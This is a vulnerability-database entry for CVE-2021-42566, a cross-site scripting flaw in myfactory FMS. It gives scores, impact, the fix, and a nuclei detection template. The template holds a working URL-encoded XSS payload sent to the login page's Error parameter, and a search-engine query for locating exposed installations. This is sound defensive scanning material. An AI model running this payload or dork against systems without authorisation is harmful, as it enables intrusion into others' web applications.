myfactory FMS - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.8%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F
Positive when: contains ";alert(document.domain);" and "name=\"txtUID\"" and "function mOnLoad()" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-42566 -u <target>

The full check

id: CVE-2021-42566

info:
  name: myfactory FMS - Cross-Site Scripting
  author: madrobot,daffainfo
  severity: medium
  description: |
    myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42566
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42566
    cwe-id: CWE-79
    epss-score: 0.05832
    epss-percentile: 0.93226
    cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myfactory
    product: fms
    google-query: inurl:ie50/system/ intitle:"myfactory"
  tags: cve,cve2021,myfactory,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ';alert(document.domain);'
          - 'name="txtUID"'
          - 'function mOnLoad()'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from